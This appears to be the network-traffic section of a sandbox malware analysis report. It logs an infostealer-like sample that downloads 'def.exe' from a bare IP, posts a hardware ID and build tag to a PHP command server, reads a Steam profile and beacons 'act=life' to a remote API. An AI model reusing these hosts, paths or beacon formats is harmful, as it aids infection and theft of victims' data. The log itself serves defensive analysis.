Oct 24, 2024 04:59:25.059343100 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:59:25.335490942 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:25 GMT Content-Type: application/octet-stream Content-Length: 2742272 Last-Modified: Thu, 24 Oct 2024 01:44:44 GMT Connection: keep-alive ETag: "6719a68c-29d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 25 5a 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@* `@ %Z`Ui` @ @.rsrc`2@.idata 8@vxijesvo)x):@eoamyyhq )@.taggant@@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	59442	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:25.619843960 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:59:26.519310951 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:59:26.564949989 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEHIEBGHDAFIEBGIEHJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 48 49 45 42 47 48 44 41 46 49 45 42 47 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------BAEHIEBGHDAFIEBGIEHJContent-Disposition: form-data; name="build"doma------BAEHIEBGHDAFIEBGIEHJ--
Oct 24, 2024 04:59:26.851032019 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	59449	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:28.278393984 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:28.865915060 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38829 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:29.099389076 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:29.223815918 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:29.329665899 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:29.453994989 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:29.860615015 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:29.983810902 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38830 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:30.501600027 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:30.626720905 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38831 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	59461	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:28.923486948 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	59466	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:29.258256912 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	59467	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:29.480855942 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	59469	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:30.006241083 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:30.603604078 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50745 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:59:30.634824038 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:30.759931087 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50745 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	104.102.49.254	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:09 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 02:57:10 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 02:57:10 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=12e02704e9094dadc47aca7d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 02:57:10 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 02:57:10 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 02:57:10 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 02:57:10 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49713	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:11 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 02:57:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 02:57:11 UTC	564	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 02:57:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FTmREaCqtlG10HKFVl0FOti8HEGgILy2ICdPZ%2F%2FQ347zEVk1SU25hPC%2FcaHxd42JqAWts2KBhXIbXx3%2FtfpxYpcdRT9Up9L9stsdHp3fFarUJzGz%2B2pWtg9YTzf7krr49dQZkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b2ac68b32e64-DFW
2024-10-24 02:57:11 UTC	805	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 02:57:11 UTC	1369	IN	Data Raw: 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d Data Ascii: n-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElem
2024-10-24 02:57:11 UTC	1369	IN	Data Raw: 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ccess-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 02:57:11 UTC	901	IN	Data Raw: 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 Data Ascii: 0.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-la
2024-10-24 02:57:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49714	104.21.53.8	443	1340	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:57:11 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=vHBqvbn6KYCyXCWGaDfw52DjmFGGt1u5HaNTDkhRjms-1729738631-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
